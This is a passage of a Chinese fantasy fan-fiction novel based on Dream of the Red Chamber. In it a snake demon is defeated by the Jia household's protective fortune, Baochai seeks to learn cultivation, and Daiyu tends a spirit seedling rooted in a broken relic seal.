似乎看出来她在想什么，为首的鹤妖道：“我劝你还是不要打这个主意。”
“我凭什么听你的。”向来只有她这么警告别人的份。
“你能奈我何。”输人不输阵，余楚微挑衅完，勾唇一笑，轻嘶一声，张嘴朝门口喷出一口绿烟。烟含剧毒，普通人沾上一点，不出几秒，就能融成一摊血水。
但对面的妖实力不输她，这点毒最多能给她拖延几秒时间。
绿烟糊满视线，余楚微也不管结果如何，当即腰身一拧，整个人扭成一根麻花，身上钗环衣物掉落，眨眼间就变成一条四五米长，水桶粗、鳞片有着斑斑点点坑洼的墨绿色大蛇，一头朝着墙上撞去。
身后无人靠近，应该是被毒雾阻拦，纸糊一样的石墙近在眼前，余楚微眼中的得意和喜色一闪而过。只要出了这道墙，她自有办法脱身。
电光火石之间，就在余楚微以为自己马上就能逃出升天时，一股恐怖的力量从天外而来，似有金戈之声相随，裹挟着锋锐之气，朝她当头劈下。
余楚微身上鳞片炸起，直觉疯狂预警，扭头想要闪避。但那股力量已经锁定她周身，让她难以动弹。
刺骨的锋锐之气扎进鳞片，搅动着血肉翻涌，眼见自己要被一劈两半，余楚微知道再逃已经来不及了，她心下发狠，不再想着躲避，仰头吐出一枚土黄色的像石头一样的东西。
那东西一出，顿时散发出一股朦胧光晕，笼罩在她周身。
“嗯？”
不知是谁发出了一声疑问，余楚微无心分辨，土黄色的光晕撞上空中劈来的力量，疯狂闪烁了一阵，却无法抵挡。余楚微压榨着全身力量，将土黄石印催动到极致，黄色光芒大作。
刺啦~，似布帛被切开的声音，光晕被丝滑地切成两半。没了光晕阻挡，土黄石头暴露出来，余楚微瞳孔紧缩，嘴一张，想将土黄石头吸回腹中。但她反应快，切来的力量更快。
咔嚓一声脆响，土黄石头步上光晕后尘，分成两半，从余楚微头顶滚下，直滚出老远才停下。上面一丝黄光闪过，再无动静。
石头被劈开时，余楚微就仰起头疯狂无声地嘶叫。那石印早与她气机勾连，不分彼此，如今毁了，于她而言无疑是雪上加霜，让本就受伤的她再遭重创。她整个蛇身扭曲着翻滚，以此发泄全身的痛楚，却被牢牢压制住，无法伸展身体，除了压塌一张罗汉床，对屋内没有造成半点破坏。
那力量劈开石印，仍旧来势不减，一副不除她誓不罢休的样子。余楚微也被疼痛激起了凶性，还怕它不成？！
忍着剧痛，她不闪不避，张开嘴，一口咬住那股力量。
“！！”黛玉抓着芙蓉的手捂住自己的嘴巴，免得惊叫出声。
余楚微喷出毒烟时，她已经扒开了芙蓉的手朝屋里张望，就看到白鹤抬手一收，将所有毒雾收拢起来凝成一个绿色的玻璃珠。
没了毒雾遮挡，巨大又狰狞的蛇布满她的视线。黛玉不知不觉打了个寒颤，难怪许仙见到白娘子现原形会被吓破胆，这种冰冷又滑腻腻的东西确实吓人。
察觉到她的害怕，芙蓉又想盖住她的眼睛，被黛玉按住了。
她只是突然被惊到了，惊吓过后，又涌起一股好奇，害怕的情绪反而淡了。
她自然也发现了余楚微想跑，却见她冲到一半便僵住了，好像被什么东西压回来了。
她感受不到余楚微所受到的压迫和针对，只看见她僵住后，先是抵抗，又痛苦地圈着自己打滚，再突然反身咬住了什么，像是演了一出无声的独角戏。
直到余楚微的尖牙上崩起乱跳的火星子，随即是刺耳的刮蹭声，如同凭空咬住了一柄尖刀。拿柄尖刀力量极大，压得巨蛇一点点弓起蛇身，然后蛇牙崩碎，张大到极致的蛇口被切开，红色的血喷洒出来。
“砰”地一声，付出了蛇牙和几乎被切开的嘴的代价，终于咬碎了那股力道，余楚微重重地砸在地上，声音传出老远。
好在她自己把附近的人迷晕了，梨香院又在贾府最北边临街的地方，这么大的动静也没有惊动贾府的人。
白鹤抬脚踏进房里，黛玉连忙跟上。满屋子的蛇失去控制，又实打实受了一番争斗余波的威吓，四散而逃。
蛇群蹿地飞快，慌不择路，黛玉腿上被蛇身蛇尾扫了好几下，鸡皮疙瘩都起来了，踮着脚躲避，芙蓉伸手把她抱起来，听到她长出了一口气。
“还以为姑娘不害怕呢。”刚才睁大眼睛看得津津有味。
“她也没贴在我身上。”只是远观倒也没那么吓人，她受不了蛇身冰凉的触感。
“薛家姐姐！”黛玉趴在芙蓉肩头指着宝钗小声道。白鹤进了屋，弯腰从地上捡起碎掉的石块，没管宝钗，她还躺着。
何嬷嬷跟在她俩身后，俯身将宝钗抱起来。
青雀松开黛玉衣角，探头看了宝钗一眼，道：“看样子她是中了蛇毒。”
看毒性还不弱，但宝钗情况竟然还好，没有毒发身亡。
蛇都跑光了，芙蓉把黛玉放下，给宝钗喂了一颗解毒丸，又摸了摸她的额头，皱着眉让何嬷嬷把她放到床上。
这厢白鹤已走到余楚微身边。余楚微奄奄一息趴在地上，她虽然咬碎了那股力量，但还是有一团金气侵入肺腑，在五脏六腑中绞作一团，摔下来那一下，让她差点连蛇胆都吐出来。金气肆虐，没有余力驱散，她只能凭借肉身硬抗，现在连变成人形的力气都没有。
见白鹤过来，她强撑着抬了抬头，吐着蛇信，嘶声道：“是我技不如人，要杀要剐，悉听尊便。”
说话间，金气上涌，她控制不住吐出一口血来，白鹤身形一闪，避过。一个东西伴随着鲜血划过一道弧线滚落在地上。
黛玉定睛一看，“是通灵宝玉！怎么会在这里？”
四双眼睛落下余楚微身上，余楚微：“......”
当场拿赃，她心死地闭上眼睛，眼不见为净。
黛玉走过去，想要捡起通灵宝玉，但想
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到它是从蛇嘴里吐出来的，又有些下不去手。
青雀随手抓了块布把它包起来，“蛇妖偷玉干嘛？”
“什么叫偷！咳，这宝物他自己咳、守不住，咳咳、自然有能者居之！”余楚微睁眼，忍者疼为自己辩驳。
可恨她一时心软，耽搁了点时间，又有旧伤未愈，以至于一个照面就被重伤至此。
新伤旧伤叠加，一时半会怕是好不了了。
这回亏大了。
余楚微看着白鹤道：“我输给了你，是我实力不够，灵玉归你。”
“这是宝玉的东西，我们要它做什么？”黛玉道。
余楚微艰难地扭了下蛇头，冷笑道：“不为灵玉，你们这些妖精鬼怪难道是扮丫鬟小姐上瘾，找个地方过家家？”
黛玉不上她的当，没接话，倒了杯茶，对青雀道：“把玉泡一泡，洗干净一会儿给宝玉送回去。”
青雀把通灵宝玉往杯子里一丢，十分随意的模样让余楚微眼中划过一丝暗芒。
芙蓉见状，道：“这个时候还贼心不死。你不会以为刚才是我们出的手吧？”
余楚微不解：“什么意思？”
“我们没动手。贾家有运势庇佑，你贸然暴露妖身，被它针对，才一刀斩下。”白鹤捏着手里的石头碎块道：“早提醒过你了。”
“哈！”余楚微不信，“就这破地方？别以为我没长眼睛，这里气运都快散了，用不了一代，就富贵成灰，烟消云散。还运势？大门前镇宅的石狮子都快瞎的分不清人妖了。”
“信不信随你。”白鹤不动声色道：“贾家先祖是武将出身，运势自然也是武将路数，化金戈，携杀气，一往无前，锋锐无匹。你没被劈死，倒是出乎意料。”
贾家运势的雷霆一击让白鹤都有些心惊。这一击比上次厉害多了，若她正面对上，也要受不小的伤。两厢一比，上次就是不痛不痒的警告。
是因为这条蛇妖沾了人血，所以一暴露，运势就格外不饶她？还是有别的原因？
这条蛇身上也有不小的秘密，她身上的鳞片乍看是被什么东西腐蚀，实际上也是气运反噬所致，没有办法解决反噬，不管养多久都是好不了的。
还有这枚碎掉的石印，也不是普通的宝物，可惜也浊气缠身，没有发挥出该有的作用。
这条蛇妖难用善恶定义，她反而不好直接动手除妖了。
白跑一趟，白鹤还是扔下警告：“同为妖，修炼不易，大家井水不犯河水。我劝你如果还想留在贾府，就跟我们一样，安分一点，老老实实装成一个正常人。以你的伤势，再暴露，就没有下一次了。”
“另外，不要打通灵宝玉的主意。”
-*
余楚微盘在地上，思考白鹤话里的真假，连她们一行人是什么时候走的都不知道。
天敌没有趁她病要她命的意思，侥幸保住了命，但不被她放在眼里的贾家反而成了龙潭虎穴。到手的灵玉也丢了，再取一次说不定鹤妖就不会坐视不理了。
那她就没有留下来的必要了。
“别装了，我知道你醒了。”
宝钗从阴影中出来，慢慢走到余楚微身前。
“听到了多少？”
55.第 55 章
余楚微的伤口还在流血，血线从嘴巴的地方贯穿下去，一直延伸到大约是脖子还是胸腔的地方。宝钗不知道蛇身是怎么区分胸、腹、腰这些部位的，但余楚微的下巴——姑且算是下巴吧，几乎快被整个斩下来。
“怎么，想趁机杀了我？”余楚微嘲讽道：“我虽然受了伤，但杀一个手无缚鸡之力的人还是绰绰有余。”
宝钗一言不发转身，找到装冷香丸的瓷瓶，吃了一粒丸子，压下热毒后她又出了门。
余楚微的视线没有离开过她的背影，在她走了后才嘶了两声，蛇信吞吐，嗅到空气中一股淡淡的花香，混在各种各样的蛇腥气中。
她浑身上下都在叫嚣着疼痛。不过外伤虽然看着重，但还可以忍，她肉身还算强悍，恢复力尚可，花些时间总能养好。
最要命的是内伤。
金气在她体内，像是生生吞了个铁球，消化不良，顶得她腹部难受至极。她又不敢用全力将它逼出来，就怕贾家邪了门的运势抽冷子再来一刀，那她真只有躺着挨劈的份。
人形暂时是变不了了，天亮之前，至少要变小一些，不然这么大的蛇躯爬到哪里都太显眼了。
此刻余楚微真是后悔自己刚才的举动，都是脑子进了水，好歹应该先聊上两句再说，一通折腾下来，赔了夫人又折兵。
她半合上眼。这次损失最大的是末诃石印，完全被毁，一下子削掉了她近三分之一的修为。
石印损毁的那一刻，她说不上是心痛失落多一些，还是松了口气多一些。
她能有今日，成也石印，败也石印。自从被反噬之后，余楚微也曾想过要斩断和石印之间的联系，可总是下不了决心。毕竟是好不容易修来的功力，没有哪个妖能轻易舍去。
石印或许也是想舍弃她，所以自己撞上了刀锋。
毁了也好，毁了也好。总归是相看两相厌，从今往后，她就彻底和过去一刀两断了。
得找个地方好好躲一阵了。京城不行，说不定哪天就又碰到高人了。离京城太远也不行，重伤之身在外行走，容易被当成一盘菜一锅端了。
余楚微想来想去，觉得皇帝祈雨的地方算是一块风水宝地。能被选中设为祭坛的地方，先天风水肯定不差，不远处又沾染了怨气和“神血”，驱邪效果应该不错，短时间内安全有保障。
她一边试图压制金气，一边盘算着，就听到有人靠近，警惕地睁开眼，发现宝钗去而复返。
“你想死？”
宝钗无视她的冷脸，虽然蛇脸上根本看不出表情。她举着一个白麻布塞着的撇口小瓶，“你要上药吗？只有人用的伤药，不知道适不适合你用。”
余楚微：“？”所以她刚才出去是去拿伤药了？
余楚微一时有些搞不清宝钗的想法，这人对她应该是又恨又怕的吧，这个时候不落井下石，也该远远躲开才对，送药算怎么回事。
她不说话，宝钗就当她同意了，试探着靠近了一些，见她没动，她用细布沾了些药粉给她上药。
不习惯被人触碰，更何况还是要命的地方，余楚微转头哈了她一下。
宝钗一惊，忙不迭倒退两步避开。
伤口又崩开了，余楚微也不在意，见宝钗浑身细细打着颤，顿时嗤笑：“既然这么害怕，还要凑上来......你这样的人~”
她意味不明地哼了一声：“无事献殷勤，非奸即盗。你有事想求我？”
宝钗紧紧抓着瓶子，脸色白了白，半晌点了点头。
余楚微饶有兴致，“说吧。虽然我现在心情很糟，但看在你还算诚实，我可以勉为其难听一听。”
宝钗垂下眼，遮住眼中的复杂情绪，问：“你是不是要走了？”
看来是全听到了，余楚微也不意外她会猜到，她一直知道宝钗是个聪明人。
“怎么，听你的口气，你还舍不得我？不如我把你吃了，这样你就不用舍不得了。”
宝钗看了眼她的“下巴”，“你现在吞得下整个人吗？”
“这你不用操心，我可以先咬死你，再分开吃。”
宝钗不怕她的恐吓，问起自己想知道的事：“林姑娘是人吗？”
“嗯？”余楚微没料到她问这个，顿了一下。
“我听你说她们是一群妖精鬼怪。”
“那倒不是，五个里面，只有她是普普通通的人类。”这个问题余楚微回答的倒爽快，“也不算特别普通，有点微末修为，就比普通人强一点。”
宝钗的心重重一跳，仿佛看到了另一扇世界的大门，“那些妖怪，为什么会听她的？”
余楚微终于正眼看向宝钗，片刻后，她懒懒道：“可能是报恩，可能是她们就喜欢当丫鬟，也可能是被逼的，谁知道她们是怎么想的。”
不像是被逼的，宝钗心想，她清醒得早，昨天还看到过叫芙蓉的女妖对黛玉的保护。
“问完了吗？问完了就走。”
“没有！”宝钗急忙道：“你说林姑娘有修为，是不是普通人也可以修行？”
其实她最想问的是她可不可以。
不必说出口，余楚微已经懂得了她的言外之意，“你想修行？看不出来你还有这等志向。”
一路同行好几个月，余楚微也不曾见她升起念头。依她所见，宝钗就是个标准的千金小姐，读了些书，有了些见识，但循规蹈矩，常以看不见的规矩约束自己。
怎么今日就离经叛道起来了，难不成是受了刺激。
宝钗确实是受了刺激。今晚跟薛姨妈的谈话，让她恨自己不是男儿身，但她恨的并非是自己生错了性别，归根结底，她是恨自己的无能为力。
若是她能像余楚微那样，压制住哥哥就好了。
她从前并不敢想自己也能修行，是因为没有先例。余楚微是妖，终究跟人是不一样的。
再者，十余年的平凡生活还是限制了她的眼界和思维。
但黛玉不一样，这是一个现成的，活生生的、距离她如此近的例子，另一个世界终于在她眼前打开一角。再加上余楚微要离开，没了她的管束，哥哥可能再次让他们一家陷入泥潭的隐忧让她止不住地想要获得力量。
她没有别的路子，唯一能问的就是余楚微。
“可以吗？”
“可以。”
宝钗眼前一亮。
“但我为什么要告诉你。”余楚微冷冷道：“告诉你对我有什么好处，认真算起来，我们还有仇，你能修行，我不是自己给自己找了一个敌人？”
她的话如一盆凉水浇下，宝钗呆愣在原地。
“我......”她嗫嚅了一下，说不出话来。余楚微确实没有义务告诉她，要得到什么，就必须付出什么，而她连跟余楚微交换的筹码都没有。
宝钗怔了好一会儿，颓然地垂下头，把伤药放在地上，轻声道：“这个给你。妈那边睡着了，我不好再过去，暂时在这里将就一晚。”
怕余楚微要赶她，宝钗补充道：“罗汉床坏了，你人又消失了，我不在这里，明天有人闯进来看到了不好解释，闹出事对你也不好。”
她说的有道理，余楚微勉强允许她留下来，之后就闭上眼睛，专心运转力量，尽量缩小自己的体型。
宝钗关上门，又打了水擦干血迹，胡乱收拾一通，天将亮时才合衣躺下。
不知睡了多久，再睁眼时，天光大亮，她起身一看
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，屋里已经不见余楚微的身影，地上还留着一片暗红。那是昨天余楚微盘着的地方，宝钗不敢让她挪开，就没擦这块地。
不能叫下人来收拾，她挽起袖子，再次拧了帕子把这里擦干净，擦着擦着，她停下动作，她昨天放下的药瓶不见了。
是滚到别的地方去了，还是余楚微带走了？
宝钗往罗汉床的废墟里看了看，没看见。
“咚咚咚！”
“我的儿，你在里面吗？”薛姨妈又急又忧的声音在门外响起。
宝钗连忙站起身，略微整了整衣着，将门拉开一个人宽的缝。
薛姨妈看到她，眼泪都要下来了，她小声问：“你何时过来的，大早上的，我还以为你不见了。”
清早起来没看见宝钗的人，薛姨妈差点吓死，问了丫鬟都说没看到她出去，遍寻不见人，她才壮着胆子来敲门。
还好人还是完完整整的，一块肉没少。
宝钗挡在门口，不让人看到里面，“妈，你进来说话。”
薛姨妈哆嗦了一下，畏惧之心压过爱女之心占了上风，道：“这不好吧。”
宝钗道：“嫂子不在。”
她把薛姨妈拉进来，让丫鬟们下去，随后关上门。
薛姨妈看见屋内的一片狼藉，浑身打颤，一把拉过宝钗上下打量，“我的儿，你怎么样了？她是不是、是不是......”
宝钗连忙安抚她：“妈，我没事。”
她劝了半天，才让薛姨妈平静下来。冷静后，薛姨妈指着罗汉床道：“这是怎么回事？”
宝钗避而不答，道：“妈，嫂子她有事要离开一段时间。”
薛姨妈一脸惊喜：“真的？”
“妈，现在不是高兴的时候。”见薛姨妈似乎不明白，宝钗道：“府里人人都知道嫂子的存在，咱们家虽然住的偏，但总会有人过来，嫂子也不可能不出去交际。一两次还可以推脱是病了不能见人，长久下去，平白无故少了个人，要怎么对外解释？”
这倒是。这妖精，早不走，晚不走，偏要在所有人面前亮了相才走。薛姨妈忙问：“那怎么办？她有没有说要去多久？”
“她的事，我如何敢问。”
宝钗见薛姨妈一脸焦急，道：“咱们合计一个借口，先遮掩一段时间。”
薛姨妈点头。
宝钗又道：“这事儿妈也别跟哥哥说，他好不容易安分些，要是知道嫂子不在，我怕他再出去惹祸。”
薛姨妈清楚自己儿子的德性，连忙保证道：“你放心，这我知道。”
通了气，母女俩便思考要找个什么样的借口掩过余楚微失踪的事。
另一边，黛玉早上去给贾母请安，转头就见宝玉捧着那块玉乐呵呵靠过来，道：“妹妹，我昨儿做了个梦，梦见这劳什子被蛇叼走了，结果今儿醒来，发现它在正房桌上，明明昨日是袭人收到枕头下的，没一个人碰，它却自个儿换了地方，你说奇不奇？”
她当然知道，还是青雀连夜使了之鸟儿给他叼回去的，
心中想着，黛玉暗暗离宝玉远了些，一看见那玉，她就想起它是从哪里被吐出来的。
宝玉混不觉黛玉的嫌弃，还想把玉给她看。
凤姐风风火火进来，一见众人就问，“你们那儿可还好？有没有人受伤？”
贾母问：“出什么事了？”
凤姐道：“嗐也不知道怎么回事，府里闹蛇了，好几个下人都被咬伤了，现在到处都在撒雄黄粉驱蛇，这几日大伙儿出门都小心些。”
贾母刚才还听到宝玉说梦蛇，还以为是说笑，闻言顿时吓了一跳，连忙吩咐道：“快！让他们先给宝玉房里驱一驱。”
56.第 56 章
凤姐马不停蹄带着人去了宝玉住处，雄黄粉、驱蛇药不要钱地撒，真叫他们赶出两条蛇来，其中一条还是剧毒蛇。
贾母骇得搂着宝玉“心肝肉”直叫。
王夫人收到信慌忙赶来，直问打理园子的人是怎么办事的，蛇虫藏在园子里爬到哥儿姐儿房里都没发现，言语之间还有些埋怨凤姐不仔细的意思。
凤姐有苦说不出，只好解释道：“从前没有过这事，怪我一时想不到。先时天热得蝉都不叫唤了，哪知还有蛇藏着？！许是才下了雨，凉快了，这些东西也活泛起来。也是底下人懒了手脚，府里又缺了人手，各处怠慢，才出了这等岔子。”
“老太太和太太放心，我一定让人好好找一遍，肯定不会放过一条蛇。”
贾母道：“被蛇咬伤的人让人看过了吗？有没有不好的？”
凤姐回：“有两个中了毒，万幸都不是要命的毒，已经吃了解毒的药，都还好。”
贾母道：“那便好，让他们好好养着。其他人抓蛇的时候也小心着些，别大意伤着性命。”
凤姐自无不应，回到住处转头就叫来管事。她心里有气，便当着众人面训斥了管花草园子的管事们一通，又催逼着他们赶紧把蛇都清干净，再有听到伤了人，唯他们是问。
管事们深觉冤枉。有一两条蛇还能说是他们疏忽没能及时发现，但现在发现的蛇不少，分明就是闹了蛇灾，不能全怪他们。
无端挨了一通排揎，两个管事对凤姐也生了怨，又不敢说，只能把气咽下，出了凤姐院子，一路呼呼喝喝指挥着手底下人去做事。
这边贾母又把黛玉等人叫到跟前，叮嘱她们最近千万好生呆着，要玩只准在廊下或院子里，一概不许往花丛假山池子等地方去，课也先停几天，等府里干净了再说。
黛玉几个都道好，贾母才打发她们到一边玩去。
喝了口茶，贾母问起王夫人中秋节府里的安排。王夫人道：“都比着旧例来办，凤丫头已经跟我说了。再有锦乡侯家的长孙洗三、缮国公家的老太君做寿，需另外备礼。两家都发了帖子来，请咱们家过府赴宴。两家时间撞到一起，不大好安排。”
贾母问：“是哪天？”
“十七。”
“缮国公老太君的寿不好让晚辈去，那日我走一趟，锦乡侯府你去一趟。”
贾母已有几年不出门交际了，王夫人不知她怎么生了心思，只低头应是。
“再有，宝玉身边不太平，之前撞邪，现又遇了蛇，我担心他是犯了太岁。十六那日，让琏儿领着他去清虚观添香油钱，再找张道士给他做个科仪，除除晦气才好。”
薛姨妈和宝钗过来，恰好听到贾母说着蛇啊晦气啊的，宝钗不动声色，薛姨妈却面上一紧，慌手慌脚抓住她的胳膊。
宝钗手上还有被蛇咬了留下的伤口，让薛姨妈一抓，疼得直皱眉。她抽出手，低声安慰了薛姨妈几句，回身就撞上黛玉好奇的眼睛。轻轻点了点头，宝钗也不去打扰贾母和王夫人说话，扶着薛姨妈到一边坐下。
宝玉被蛇吓了一回，一直晃着神，见宝钗来了，一下子就把害怕全忘到脑后，他欢喜地凑过来问薛姨妈两人好，又道：“余姐姐怎么没来？”
黛玉不经意间侧过头，悄悄竖起耳朵听。她也是头一次见到身边跟着妖怪的同龄人，难免就有两分在意，不自觉留心宝钗动向，连探春跟她说话也没听到。
薛姨妈一听宝玉提余楚微就心慌，僵着一张笑脸去看宝钗。宝钗心中无奈，妈这样禁不住，什么都露在脸上，也不知能糊弄哥哥几天。
嘴里发苦，她仍是拍了拍薛姨妈的手，温声回道：“嫂子一早出门去了。她家里原是有几门亲戚在京中，安顿下来便去寻人了。”
别的也不多说，剩下的其他人自己就会联想。
这个借口可进可退，若是余楚微一去不回，便说她寻到了亲戚，亲戚坚决不同意跟她跟薛蟠的亲事，就此作罢，不相往来。若她还要回来，只说没找到，也无需再找补。
黛玉是知情的，听了宝钗的话暗自发笑，妖怪哪有亲戚，是吓跑了吧。
宝玉却是信以为真，他不仅信，还很热心肠：“余姐姐的亲戚是谁，京城这么大，怎么能让她亲自去寻，姨妈同我说一说，我也帮余姐姐问一问。”
薛姨妈张了张嘴，明显不知道该如何编个亲戚出来，宝钗暗暗着急，这是一早便商量过的，才过去多久妈就忘了。
黛玉瞧出薛姨妈的窘迫，走过来道：“你成日在府里，认得几个人，问谁去？”
宝玉道：“我不认得，便求老太太去，她一吩咐，可不就找得快。”
黛玉笑道：“老太太还在担心你的安危呢，要给你祈福除晦，你不说安分些，反倒帮她揽事。要求人帮忙，姨妈自然会跟老太太开口，还用你去说！”
薛姨妈被宝钗悄悄推了一把，忙道：“好孩子，我知道你的心意，但你余姐姐是个古怪性子，只想着自己找，连我们也不让过问。说是亲戚要是一见高门大户的人来了，不管是摄于威严还是觉得有利可图，忙忙贴上来，她心里都不乐意。她吃过这里面的苦头，再不想借谁的光，那样寻来的亲戚都不是真心，不如她自个儿去投奔，正好试一试是好是歹。”
几句糊弄过去，宝玉总算不再追问，宝钗在薛姨妈背后暗出了口气，拉着黛玉到一边小声道谢。
黛玉一笑，低声与她道：“宝玉对姐妹们的事都上心，今日遮过去了，可千万别在他面前再提了，备不住他几时又要问起来。”
又笑着道：“幸好你不是说‘余姐姐’病了，否则宝玉这会儿定是闹着要去探一探的。”
昨日一来，宝玉姐姐妹妹一通叫，宝钗大约就瞧出他是个什么性子，因而也笑道：“妈本是想用这个借口，但我一想着若是要叫大夫，就全漏了陷，便改了主意。这样倒好，就是别人整日都见不着她，也好推说她早出晚归，正好错过了。”
黛玉问：“她真走了？可还回来？”
宝钗点头又摇头。黛玉还有点别的事想问，忽然肩头被拍了一下，一回头，探春不知何时站在两人身后，背着手来回瞧她们。
黛玉摸着脸问：“我们脸上有什么吗？”
探春道：“二嫂子说你们有缘，我还不信，今日一见，才知二嫂子总算也不全是说空话。”
就两人贴在一起说悄悄叽咕的样子，看着关系极好。
“你们在说什么？让我也听一听。”
宝钗莫名听出一丝酸意，笑道：“林妹妹问我南边的事，我正说带了些土仪，想着一会儿给你们分一分。”
探春便道：“原是这个，倒是我们偏了宝姐姐的好东西。”
“都是些小玩意，就是看着有趣些，恐怕要让三妹妹失望了。”
探春道：“宝姐姐只管送过来，我就爱这些小玩意儿。正好瞧瞧南边的玩意儿跟北边有什么不同。”
说完话，探春又背着手扎到迎春和惜春中间去了。
“三妹妹好奇怪。”黛玉道。
宝钗见她茫然不知，道：“不奇怪，姐妹们中，林妹妹是不是同三妹妹玩的最好？”
黛玉思索了片刻，点头。迎春不爱说话，惜春跟她差几岁，黛玉的确跟探春更亲近。
“那就是了。”
黛玉：“？”
“我看她是觉得自己的朋友被抢走了，有些酸。本来是我的好朋友，跟一个才来一天的人说起悄悄话还不带我，换成妹妹，会不会觉得心里不舒服？”
嫉妒谈不上，就是朋友之间小小的占有欲而已。
宝钗是半开玩笑的语气，不料黛玉听完先是惊讶，逐渐转为疑惑，最后恍然大悟。
“谢谢宝姐姐，我知道了。”
这下轮到宝钗不解了，不过她没说什么，笑着接受了黛玉的道谢。
-*
回到梨香院，宝钗就带着丫鬟给各处分送土仪。在探春处略坐了一会儿，说了些金陵苏杭的风土人情，探春本就是个爽朗大方的人，不消多久，心中那点微妙酸意就散了，也同宝钗亲近起来。
辞过探春，宝钗到听松园时，黛玉正在花窗下看书，见她来，起身让坐：“姐姐才回去，又白跑这一回，让丫鬟们来就是了。”
宝钗忍着腿疼坐下，悄悄打量了一圈黛玉的屋子。听松园比梨香院小一些，但只住了黛玉一个主子，显得十分宽敞。不过她从门口进来，看这里下人也不多，显得有些冷清。屋里也没个人伺候，昨晚上那几个人都不在。
黛玉亲自给她倒了杯茶，宝钗回神：“怕姐妹们要问一些小玩意儿是哪里的，丫鬟不知道怎么说，我就跟着来了，也不是多远，正好认一认地方。”
黛玉从土仪中捡出一个五颜六色的小塔在手中把玩，“这是仿的哪座塔？”
宝钗道：“是大报恩寺。”
只是做的不像，大报恩寺是座琉璃塔，这小塔通身是木头材质，在每层塔身飞檐上点缀了些许碎琉璃。
“竟不是雷峰塔么？”黛玉揶揄道。
宝钗苦笑：“雷峰塔我也去过，莫说是仿的小玩意，便是真雷峰塔，也镇不了蛇妖，买它做什么。”还怕碍着眼。
不敢用法术，东躲西藏游了半天才游到京郊的余楚微打了个喷嚏，伤口又裂开，她熟练地用尾巴卷起伤药给自己倒上，发现伤药倒不出来，举到跟前一看，瓶子里空空如也。
嫌弃地把空瓶子一丢，尾巴在地上敲了两下，身子一弹，余楚微钻进草丛里，飞快消失。
闲话两句，宝钗腿上一跳一跳地疼，忍耐不住，便提出告辞。余楚微已离去，她心里的那些心思和盘算也跟着沉寂下来，内心深处虽还扎着修行的种子，但宝钗也不会为此贸然去求黛玉什么，正常往来便好。
宝钗走后，黛玉又翻了两页白蛇传的戏折子，静不下心，索性把书一丢，出门唤来一个丫鬟问道：“看到青雀没有？”
“青雀一早上就出去了，中间没回来过。姑娘有什么吩咐吗？”
黛玉摇头，想叫人去找她 ，撒驱蛇药粉的人却来了，丫鬟急忙把人领进来，又跑去找何嬷嬷。
大伙儿都有事做，黛玉在门口站了一会儿，闻到雄黄刺鼻的味道，掩着口鼻退回屋内。
不一会儿，她把种着黑粳米的小花盆抱出来。花盆中，一株长满墨绿色纹路的棕色小苗悄悄探出头来，两片指甲盖大小的嫩叶随着她的走动不住颤动。
黛玉把嫩芽连根一起铲出来。黑粳米露出土的苗虽然小，但下面的根却长且茂盛，所有根系都深深扎进一枚石印中，从中间穿过，又绕回来包裹住石印，像守护着宝藏一样。
昨日白鹤捡回来的两半石印在根系的缠绕下，又重新紧紧贴合在一起，不细看，看不出曾经被劈开过。
黛玉伸手戳了戳鼓起来的包，一缕根须抽出来，缠在她的手指上推拒着她的动作，不让她碰。
它一动，其他根系也嗖嗖散开，张牙舞爪扎进宝钗没喝完的茶水中咕咚咕咚吸水。
黛玉跺了跺脚，抖落掉在裙角的土，转过去看石印底部。两个小字半掩在发绿的根须中，黛玉不
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认识，芙蓉姐姐告诉她这是梵文——读作摩诃，或者末诃、摩哈。不同的读法是口音问题。
黛玉知道摩诃，意为大智慧，源于佛教。
但凡信佛诵经的人，无不知道《般若心经》，它的全名就叫《摩诃般若波罗蜜心经》。
这枚石印其实不是石头制成，而是一颗舍利。
舍利子，每一枚都是高僧圆寂之后留下的宝贝，像石印这么大的，一出现应该都会被供起来让人瞻仰才是。这枚舍利却被磨平了一面，刻上梵文，应该有些特别的来历。
它或许出自哪座名寺古刹，在一位或几位得道高僧手中流传过。就是不知道中途出了什么变故，最后竟然落入了一个蛇妖手中。
更稀奇的是被佛法浸染的舍利，天生跟妖邪对立，它却跟满身血腥，手上沾过人命的蛇妖气息相连，还轻易被驱使，助她护她。
正是因为摩诃舍利，昨晚催促白鹤找上门的芙蓉才轻易松口撤了回来，没有追着对余楚微喊打喊杀——能成为法宝的舍利，是心甘情愿为蛇妖所用，还是被迫臣服，她还是能分辨出来的。余楚微不像表面看上去的那样恶意。
不管它有什么来历和传奇，如今这枚坏掉的舍利都成了黑粳米生长的养料，让它一夜之间拱出土，长出了两片叶子。
根须咕咚完茶水，犹觉不足，黛玉找来水壶给它浇了点水，幼苗轻轻晃动了一下，黛玉便将整个水壶的水都倒给它。
它来者不拒，有多少喝多少，很快根须包裹的石印上都沁出了一层水珠。
“不能再喝了。”黛玉拒绝它不知节制的索求，总觉得再这么喝下去，根要烂了。
幼苗蔫蔫收回根须，紧紧团成一个球，有些可怜兮兮的，黛玉不为所动。
早上发现它发了芽，黛玉就叫白妈妈来看过。白妈妈说这株苗跟她以前见过的黑粳米幼苗都不一样，要不是知道黛玉没撒谎，她还以为完全是两个品种。
不知道是舍利，还是石燕，或者石燕是吞下的“神血”三者谁发生了作用，让它产生了不明变异。
幼苗十分喜水，有多少喝多少，但也不排斥晒太阳，不怎么挑剔生长环境，算是很好养活。
另外，它还天生有些神通，黛玉能模糊感受到它的所思所想，白鹤姐姐说它生来就有灵，不出意外以后肯定能成妖。舍利的养料供不了它太久，以后它会长得慢些。
黛玉提溜着它晾了一会儿，重新添了一些干燥的土给它吸吸水，把它种回去，再在屋檐下找了个好位置让它晒太阳。
青雀哼着七拐八拐的调子一蹦一跳地进来，看到黛玉摆弄花盆，脚步慢了下来。
黛玉看到她手里提着一个黑布罩着的笼子一样的东西，问：“你拿的什么？”
青雀兴致不高，把东西往身后藏了藏，恹恹道：“没什么。”
黛玉早上得了宝钗的提醒，一眼就看出来她别别扭扭不高兴的原因，道：“你把东西放下，我有话跟你说。”
青雀连忙摇头，“不能放。”
黛玉也不强求，她顿了顿，问：“青雀，这些日子，你是不是在生我的气？”
“啊？”青雀茫然不解，皱眉道：“我没有生气。”
“那就好，我还以为青雀气我因为风时忽略了你，你不生气就好。”黛玉故意道。
青雀怔了怔，嘴巴抿起。这么一说，她好像也不是不生气。
不对，她没生气，就是难受。
可这种难受又说不出来，青雀陡然又生出些许烦躁。
黛玉见她的样子，就知道自己猜的没错，看她皱眉跺脚，又急又不知道该怎么办，拉过她的手道：“青雀是不是觉得我更喜欢风时？”
青雀慢慢点头：“姑娘老惦记着花盆，也不理人。”
黛玉反思了一下，点头道：“是我不对。”
